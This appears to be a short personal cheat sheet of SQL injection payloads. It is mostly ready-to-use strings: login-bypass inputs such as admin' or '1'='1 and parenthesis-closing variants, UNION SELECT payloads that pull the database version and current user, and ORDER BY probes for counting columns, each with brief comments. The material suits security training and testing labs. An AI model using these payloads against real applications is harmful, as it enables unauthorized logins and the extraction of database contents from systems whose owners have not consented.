SQL Injection

# Username
# It the db have a admin user
admin' or '1'='1
# Username
# If the db doesn't have admin user
notAdmin' or '1'='1
# Password
123' or '1'='1
# If the query is in parenthesis
# Like SELECT * FROM logins where (username='admin')
admin')--
# It will login as superadmin since the id is 5
# It will work if the where condition is in parethensis
# WHERE (username='' OR id = 5)-- -' AND id > 1)
' OR id = 5)-- -

') OR id = '5';-- -
# When using union the right side table should be equal to number of columns from left side table
# So we added 4 numbers
select * from employees UNION select dept_no,dept_name,3,4,5,6 from departments;
cn' UNION select 1,2,3,4-- -

# It means that the column 1 is not being displayed to the page
# So we just insert the payload in column 2 spot
cn' UNION select 1,@@version,3,4-- -
' UNION select 1,user(),3,4-- -

# This is the same as UNION select
# Until it will return no column 5 it means that the table only have 4 column
' order by 2-- -
' order by 3-- -
' order by 4-- -

Last updated